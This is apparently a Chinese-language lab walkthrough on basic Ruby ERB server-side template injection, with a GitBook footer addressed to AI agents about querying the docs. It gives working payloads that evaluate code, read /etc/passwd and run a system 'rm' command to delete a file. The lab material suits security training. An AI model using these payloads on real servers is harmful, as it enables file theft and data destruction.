> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/ssti/basic-ruby-server-side-template-injection.md).

# 基础 Ruby 服务器端模板注入

### 基础服务器端模板注入

该应用程序不安全地使用 ERB 模板，使其易受 **服务器端模板注入（SSTI）**./ 目标是执行任意代码以 **删除文件** `morale.txt` 位于 Carlos 的主目录：/ `/home/carlos/morale.txt`.

#### 1. 易受攻击参数的识别

我们找到一个 `消息` 参数，它在应用程序中 **反射我们的输入** 直接显示在页面上。 / 这个字段将用于注入 ERB 代码。

<figure><img src="/files/33716b4d9ed39aec6cd92348570781ac2a77a161" alt=""><figcaption></figcaption></figure>

#### 2. 检查代码执行（使用 7/\*7 测试）

注入一个简单的 Ruby 表达式来确认 SSTI：

```ruby
<%= 7*7 %>
```

如果存在漏洞，输出将显示：

<figure><img src="/files/a1f0d1b764e5485a4aa838134ed2d2d49364bde5" alt="" width="563"><figcaption></figcaption></figure>

这证明 Ruby 表达式在服务器端模板中被求值。

#### 3. 读取敏感文件： `/etc/passwd`

一旦确认执行成功，尝试读取一个系统文件以验证对文件系统的访问：

```ruby
<%= File.open('/etc/passwd').read %>
```

<figure><img src="/files/10e4b75933d43ceb5dcab1866053082b00492f5c" alt=""><figcaption></figcaption></figure>

……的内容 `/etc/passwd` 随后会在答案中返回，确认你可以读取服务器上的文件。

#### 4. 删除 Carlos `morale.txt` 文件

为了完成实验，运行系统命令删除所请求的文件：

```ruby
<%= system('rm /home/carlos/morale.txt') %>
```

此注入会启动 `rm` 服务器端命令，并删除 `morale.txt` 位于 `/home/carlos/` 目录。


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/ssti/basic-ruby-server-side-template-injection.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.